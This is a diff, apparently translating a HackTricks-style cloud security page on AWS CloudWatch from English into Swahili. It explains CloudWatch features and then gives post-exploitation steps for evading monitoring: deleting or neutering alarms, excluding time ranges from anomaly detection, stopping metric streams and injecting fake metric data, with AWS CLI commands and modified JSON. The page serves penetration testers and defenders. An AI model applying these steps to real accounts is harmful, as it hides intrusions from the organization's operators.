provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services. +**Dashboards za CloudWatch** zinatoa **mitazamo inayoweza kubadilishwa ya metrics zako za AWS CloudWatch**. Inawezekana kuunda na kuunda dashboards ili kuonyesha data na kufuatilia rasilimali katika mtazamo mmoja, ikichanganya metrics tofauti kutoka kwa huduma mbalimbali za AWS. -**Key Features**: +**Vipengele Muhimu**: -- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more. -- **Customization**: Layout and content can be customized to fit specific monitoring needs. +- **Widgets**: Vifaa vya msingi vya dashboards, ikiwa ni pamoja na grafu, maandiko, alarms, na zaidi. +- **Customization**: Mpangilio na maudhui yanaweza kubadilishwa ili kufaa mahitaji maalum ya ufuatiliaji. -**Example Use Case**: +**Mfano wa Matumizi**: -- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets. +- Dashboard moja inayoonyesha metrics muhimu za mazingira yako yote ya AWS, ikiwa ni pamoja na EC2 instances, RDS databases, na S3 buckets. ### Metric Stream and Metric Data -**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS. +**Metric Streams** katika AWS CloudWatch zinakuwezesha kuendelea kutiririsha metrics za CloudWatch kwa mahali unayochagua kwa karibu wakati halisi. Hii ni muhimu hasa kwa ufuatiliaji wa hali ya juu, uchambuzi, na dashboards za kawaida kwa kutumia zana za nje ya AWS. -**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources. +**Data za Metric** ndani ya Metric Streams inahusu vipimo halisi au data points zinazotiririshwa. Data hizi zinaakisi metrics mbalimbali kama matumizi ya CPU, matumizi ya kumbukumbu, n.k., kwa rasilimali za AWS. -**Example Use Case**: +**Mfano wa Matumizi**: -- Sending real-time metrics to a third-party monitoring service for advanced analysis. -- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance. +- Kutuma metrics za wakati halisi kwa huduma ya ufuatiliaji ya wahusika wengine kwa uchambuzi wa hali ya juu. +- Kuhifadhi metrics katika Amazon S3 bucket kwa uhifadhi wa muda mrefu na kufuata sheria. ### Alarm -**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function. +**Alarms za CloudWatch** zinafuatilia metrics zako na kufanya hatua kulingana na vigezo vilivyowekwa awali. Wakati metric inavunja kigezo, alarm inaweza kufanya hatua moja au zaidi kama kutuma arifa kupitia SNS, kuanzisha sera ya auto-scaling, au kuendesha kazi ya AWS Lambda. -**Key Components**: +**Vipengele Muhimu**: -- **Threshold**: The value at which the alarm triggers. -- **Evaluation Periods**: The number of periods over which data is evaluated. -- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm -- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS). +- **Kigezo**: Thamani ambayo alarm inasababisha. +- **Muda wa Tathmini**: Idadi ya muda ambayo data inatathminiwa. +- **Data points za Alarm**: Idadi ya muda ambapo kigezo kimefikiwa kinachohitajika kuanzisha alarm +- **Hatua**: Kinatokea nini wakati hali ya alarm inasababisha (mfano, arifu kupitia SNS). -**Example Use Case**: +**Mfano wa Matumizi**: -- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes. +- Kufuatilia matumizi ya CPU ya EC2 instance na kutuma arifa kupitia SNS ikiwa inazidi 80% kwa dakika 5 mfululizo. ### Anomaly Detectors -**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues. +**Anomaly Detectors** hutumia kujifunza kwa mashine kugundua kiotomatiki anomalies katika metrics zako. Unaweza kutumia ugunduzi wa anomalies kwa metric yoyote ya CloudWatch ili kutambua mabadiliko kutoka kwa mifumo ya kawaida ambayo yanaweza kuashiria matatizo. -**Key Components**: +**Vipengele Muhimu**: -- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like. -- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric. +- **Kufundisha Mfano**: CloudWatch hutumia data za kihistoria kufundisha mfano na kuanzisha tabia ya kawaida inavyoonekana. +- **Anomaly Detection Band**: Uwakilishi wa kuona wa anuwai inayotarajiwa ya thamani kwa metric. -**Example Use Case**: +**Mfano wa Matumizi**: -- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue. +- Kugundua mifumo isiyo ya kawaida ya matumizi ya CPU katika EC2 instance ambayo inaweza kuashiria uvunjaji wa usalama au tatizo la programu. ### Insight Rules and Managed Insight Rules -**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization. +**Insight Rules** zinakuwezesha kutambua mwenendo, kugundua spikes, au mifumo mingine ya kupendeza katika data yako ya metric kwa kutumia **mifumo ya kimaadili yenye nguvu** kufafanua hali ambazo hatua zinapaswa kuchukuliwa. Kanuni hizi zinaweza kusaidia kutambua anomalies au tabia zisizo za kawaida katika utendaji na matumizi ya rasilimali zako. -**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration. +**Managed Insight Rules** ni **kanuni za uelewa zilizowekwa awali zinazotolewa na AWS**. Zimeundwa kufuatilia huduma maalum za AWS au matumizi ya kawaida na zinaweza kuwezeshwa bila kuhitaji usanidi wa kina. -**Example Use Case**: +**Mfano wa Matumizi**: -- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action. +- Kufuatilia Utendaji wa RDS: Weka kanuni ya uelewa iliyosimamiwa kwa Amazon RDS inayofuatilia viashiria muhimu vya utendaji kama matumizi ya CPU, matumizi ya kumbukumbu, na disk I/O. Ikiwa yoyote ya metrics hizi itazidi vigezo salama vya operesheni, kanuni inaweza kuanzisha arifa au hatua za kupunguza kiotomatiki. ### CloudWatch Logs -Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported. +Inaruhusu **kujumlisha na kufuatilia logs kutoka kwa programu** na mifumo kutoka **huduma za AWS** (ikiwemo CloudTrail) na **kutoka kwa apps/mifumo** (**CloudWatch Agent** inaweza kusakinishwa kwenye mwenyeji). Logs zinaweza **kuhifadhiwa milele** (kulingana na mipangilio ya Log Group) na zinaweza kusafirishwa. -**Elements**: +**Vipengele**: -| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings | +| **Log Group** | **mkusanyiko wa log streams** zinazoshiriki retention, ufuatiliaji, na mipangilio ya udhibiti wa ufikiaji | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | A sequence of **log events** that share the **same source** | -| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function | +| **Log Stream** | Mfululizo wa **matukio ya log** yanayoshiriki **chanzo kimoja** | +| **Subscription Filters** | Mwelekeo wa **kuchuja pattern inayolingana na matukio** katika log group maalum, kuyatumia kwa Kinesis Data Firehose stream, Kinesis stream, au kazi ya Lambda | ### CloudWatch Monitoring & Events -CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\ -In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) +CloudWatch **misingi** inakusanya data **kila dakika 5** (ile **ya kina** inafanya hivyo **kila dakika 1**). Baada ya ukusanyaji, in **angalia vigezo vya alarms** ikiwa inahitaji kuanzisha moja.\ +Katika hali hiyo, CloudWatch inaweza kuwa tayari kutuma tukio na kufanya hatua za kiotomatiki (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) ### Agent Installation -You can install agents inside your machines/containers to automatically send the logs back to CloudWatch. +Unaweza kusakinisha agents ndani ya mashine zako/containers ili kutuma logs kiotomatiki nyuma kwa CloudWatch. -- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -- **Configure** and **start** the CloudWatch Agent +- **Unda** **role** na **unganishi** kwa **instance** yenye ruhusa inayoruhusu CloudWatch kukusanya data kutoka kwa instances pamoja na kuingiliana na AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Pakua** na **sakinisha** **agent** kwenye EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Unaweza kuipakua kutoka ndani ya EC2 au kuisakinisha kiotomatiki kwa kutumia AWS System Manager ukichagua kifurushi cha AWS-ConfigureAWSPackage +- **Sanidi** na **anzisha** CloudWatch Agent -A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. +Kikundi cha log kina streams nyingi. Stream ina matukio mengi. Na ndani ya kila stream, matukio yanahakikishwa kuwa katika mpangilio. ## Enumeration - ```bash # Dashboards # @@ -213,250 +212,217 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` - ## Post-Exploitation / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents. - -In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete. +Mshambuliaji mwenye ruhusa hizi anaweza kudhoofisha kwa kiasi kikubwa miundombinu ya ufuatiliaji na arifa ya shirika. Kwa kufuta alama zilizopo, mshambuliaji anaweza kuzima arifa muhimu zinazowajulisha wasimamizi kuhusu matatizo makubwa ya utendaji, uvunjaji wa usalama, au kushindwa kwa operesheni. Zaidi ya hayo, kwa kuunda au kubadilisha alama za metriki, mshambuliaji anaweza pia kuwachanganya wasimamizi kwa arifa za uongo au kuzima alama halali, kwa ufanisi kuficha shughuli mbaya na kuzuia majibu ya haraka kwa matukio halisi. +Zaidi ya hayo, kwa ruhusa ya **`cloudwatch:PutCompositeAlarm`**, mshambuliaji angeweza kuunda mzunguko au mzunguko wa alama za composite, ambapo alama ya composite A inategemea alama ya composite B, na alama ya composite B pia inategemea alama ya composite A. Katika hali hii, haiwezekani kufuta alama yoyote ya composite ambayo ni sehemu ya mzunguko kwa sababu daima kuna alama ya composite inayotegemea alama hiyo unayotaka kufuta. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` - The following example shows how to make a metric alarm ineffective: -- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic. -- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm. +- Alarm hii ya metric inafuatilia matumizi ya wastani ya CPU ya EC2 instance maalum, inakadiria metric kila sekunde 300 na inahitaji vipindi 6 vya tathmini (dakika 30 jumla). Ikiwa matumizi ya wastani ya CPU yanapita 60% kwa angalau 4 ya vipindi hivi, alarm itasababisha na kutuma arifa kwa mada ya SNS iliyoainishwa. +- Kwa kubadilisha Kiwango kuwa zaidi ya 99%, kuweka Kipindi kuwa sekunde 10, Vipindi vya Tathmini kuwa 8640 (kwa sababu vipindi 8640 vya sekunde 10 vinatosha siku 1), na Datapoints kwa Alarm kuwa 8640 pia, itahitajika kwa matumizi ya CPU kuwa juu ya 99% kila sekunde 10 katika kipindi chote cha masaa 24 ili kusababisha alarm. {{#tabs }} {{#tab name="Original Metric Alarm" }} - ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-01234567890123456" - } - ], - "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 4, - "EvaluationPeriods": 6, - "Period": 300, - "Statistic": "Average", - "Threshold": 60, - "AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", - "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-01234567890123456" +} +], +"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 4, +"EvaluationPeriods": 6, +"Period": 300, +"Statistic": "Average", +"Threshold": 60, +"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", +"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" } ``` - {{#endtab }} {{#tab name="Modified Metric Alarm" }} - ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0645d6d414dadf9f8" - } - ], - "AlarmActions": [], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 8640, - "EvaluationPeriods": 8640, - "Period": 10, - "Statistic": "Average", - "Threshold": 99, - "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", - "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0645d6d414dadf9f8" +} +], +"AlarmActions": [], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 8640, +"EvaluationPeriods": 8640, +"Period": 10, +"Statistic": "Average", +"Threshold": 99, +"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", +"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Madhara Yanayoweza Kutokea**: Ukosefu wa arifa za matukio muhimu, masuala yanayoweza kutokea bila kugundulika, arifa za uongo, kuzuiya arifa halisi na huenda kukosa kugundua matukio halisi. -### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** +### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response. +Kwa kufuta hatua za alarm, mshambuliaji anaweza kuzuia arifa muhimu na majibu ya kiotomatiki kutokea wakati hali ya alarm inafikiwa, kama vile kuwajulisha wasimamizi au kuanzisha shughuli za auto-scaling. Kuwezesha au kurejesha hatua za alarm kwa njia isiyo sahihi kunaweza pia kusababisha tabia zisizotarajiwa, ama kwa kurejesha hatua zilizokuwa zimezimwa awali au kwa kubadilisha ni hatua zipi zinazochochewa, na hivyo kusababisha mkanganyiko na upotoshaji katika majibu ya tukio. -In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures. - -- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration. +Zaidi ya hayo, mshambuliaji mwenye ruhusa anaweza kubadilisha hali za alarm, akiwa na uwezo wa kuunda alama za uongo ili kuwachanganya wasimamizi, au kuzima alama halisi ili kuficha shughuli mbaya zinazofanyika au kushindwa kwa mifumo muhimu. +- Ikiwa unatumia **`SetAlarmState`** kwenye alarm ya composite, alarm ya composite haihakikishiwi kurudi kwenye hali yake halisi. Inarudi kwenye hali yake halisi tu mara yoyote mojawapo ya alama zake za watoto zinapobadilisha hali. Pia inarejelewa ikiwa unasasisha usanidi wake. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` - -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Madhara Yanayoweza Kutokea**: Ukosefu wa arifa za matukio muhimu, masuala yanayoweza kutokugundulika, arifa za uongo, kuzuiya arifa halisi na huenda kukosa kugundua matukio halisi. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring. - +Mshambuliaji angeweza kuathiri uwezo wa kugundua na kujibu kwa mifumo isiyo ya kawaida au anomalies katika data ya metriki. Kwa kufuta waandishi wa anomalies waliopo, mshambuliaji angeweza kuzima mifumo muhimu ya arifa; na kwa kuunda au kubadilisha, angeweza ama kuharibu usanidi au kuunda positives za uongo ili kuhamasisha au kuzidi uwezo wa ufuatiliaji. ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` - -The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the ā€œExcludedTimeRangesā€ parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period. +Mfano ufuatao unaonyesha jinsi ya kufanya kipimo cha kugundua anomali kisifanye kazi. Kipimo hiki cha kugundua anomali kinachunguza matumizi ya wastani ya CPU ya mfano maalum wa EC2, na kwa kuongeza tu parameter ya ā€œExcludedTimeRangesā€ na kipindi kinachotakiwa, itakuwa ya kutosha kuhakikisha kwamba kipimo cha kugundua anomali hakichambui au kuonya kuhusu data yoyote muhimu wakati huo. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} - ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +} } ``` - {{#endtab }} {{#tab name="Modified Metric Anomaly Detector" }} - ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - }, - "Configuration": { - "ExcludedTimeRanges": [ - { - "StartTime": "2023-01-01T00:00:00Z", - "EndTime": "2053-01-01T23:59:59Z" - } - ], - "Timezone": "Europe/Madrid" - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +}, +"Configuration": { +"ExcludedTimeRanges": [ +{ +"StartTime": "2023-01-01T00:00:00Z", +"EndTime": "2053-01-01T23:59:59Z" +} +], +"Timezone": "Europe/Madrid" +} } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Direct effect in the detection of unusual patterns or security threats. +**Madhara Yanayoweza Kutokea**: Athari ya moja kwa moja katika kugundua mifumo isiyo ya kawaida au vitisho vya usalama. ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities. - +Mshambuliaji angeweza kuathiri uwezo wa ufuatiliaji na uonyeshaji wa shirika kwa kuunda, kubadilisha au kufuta dashibodi zake. Ruhusa hizi zinaweza kutumika kuondoa mwonekano muhimu katika utendaji na afya ya mifumo, kubadilisha dashibodi kuonyesha data zisizo sahihi au kuficha shughuli mbaya. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` - -**Potential Impact**: Loss of monitoring visibility and misleading information. +**Madhara Yanayoweza Kutokea**: Kupoteza ufuatiliaji wa maono na taarifa za kupotosha. ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team. - +Sheria za maarifa zinatumika kugundua tofauti, kuboresha utendaji, na kusimamia rasilimali kwa ufanisi. Kwa kufuta sheria za maarifa zilizopo, mshambuliaji anaweza kuondoa uwezo muhimu wa ufuatiliaji, na kuacha mfumo ukiwa kipofu kwa matatizo ya utendaji na vitisho vya usalama. Zaidi ya hayo, mshambuliaji anaweza kuunda au kubadilisha sheria za maarifa ili kuzalisha data za kupotosha au kuficha shughuli mbaya, na kusababisha uchambuzi usio sahihi na majibu yasiyofaa kutoka kwa timu ya operesheni. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` - -**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures. +**Madhara Yanayoweza Kutokea**: Ugumu wa kugundua na kujibu matatizo ya utendaji na tofauti, kufanya maamuzi yasiyo sahihi na kwa uwezekano kuficha shughuli mbaya au kushindwa kwa mfumo. ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity. - +Kwa kuzima sheria muhimu za maarifa, mshambuliaji anaweza kwa ufanisi kuipofusha shirika kuhusu viashiria muhimu vya utendaji na usalama. Kinyume chake, kwa kuwezesha au kuunda sheria za kupotosha, inaweza kuwa inawezekana kuzalisha data za uwongo, kuunda kelele, au kuficha shughuli mbaya. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` - -**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts. +**Madhara Yanayoweza Kutokea**: Mkanganyiko kati ya timu ya operesheni, unaosababisha kuchelewesha majibu kwa masuala halisi na hatua zisizo za lazima kulingana na arifa za uwongo. ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity: +Mshambuliaji mwenye ruhusa za **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** angeweza kuunda na kufuta mitiririko ya data za metriki, akihatarisha usalama, ufuatiliaji na uadilifu wa data: -- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations. -- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues. -- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden. - -Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless. +- **Unda mitiririko ya uhalifu**: Unda mitiririko ya metriki kutuma data nyeti kwa maeneo yasiyoidhinishwa. +- **Manipulasi ya rasilimali**: Uundaji wa mitiririko mipya ya metriki yenye data nyingi unaweza kuzalisha kelele nyingi, kusababisha arifa zisizo sahihi, kuficha masuala halisi. +- **Kuvuruga ufuatiliaji**: Kufuta mitiririko ya metriki, washambuliaji wangeweza kuvuruga mtiririko wa data za ufuatiliaji. Kwa njia hii, shughuli zao za uhalifu zingefichwa kwa ufanisi. +Vivyo hivyo, kwa ruhusa ya **`cloudwatch:PutMetricData`**, ingekuwa inawezekana kuongeza data kwenye mtiririko wa metriki. Hii inaweza kusababisha DoS kutokana na kiasi cha data zisizo sahihi zilizoongezwa, na kuifanya kuwa isiyo na matumizi kabisa. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` - -Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance: - +Mfano wa kuongeza data inayohusiana na 70% ya matumizi ya CPU juu ya mfano fulani wa EC2: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa mtiririko wa data za ufuatiliaji, kuathiri ugunduzi wa anomali na matukio, upotoshaji wa rasilimali na kuongezeka kwa gharama kutokana na uundaji wa mitiririko ya metriki kupita kiasi. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams. - +Mshambuliaji angeweza kudhibiti mtiririko wa data za metriki zilizoathiriwa (mtiririko wowote wa data ikiwa hakuna vizuizi vya rasilimali). Kwa ruhusa **`cloudwatch:StopMetricStreams`**, washambuliaji wangeweza kuficha shughuli zao mbaya kwa kusitisha mitiririko ya metriki muhimu. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa mtiririko wa data za ufuatiliaji, kuathiri ugunduzi wa anomali na matukio. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags. - +Mshambuliaji angeweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za CloudWatch (kwa sasa ni alama tu na sheria za Contributor Insights). Hii inaweza kuingilia sera za udhibiti wa ufikiaji wa shirika lako kulingana na lebo. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa sera za udhibiti wa ufikiaji kulingana na lebo. -**Potential Impact**: Disruption of tag-based access control policies. - -## References +## Marejeleo - [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html) - [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git 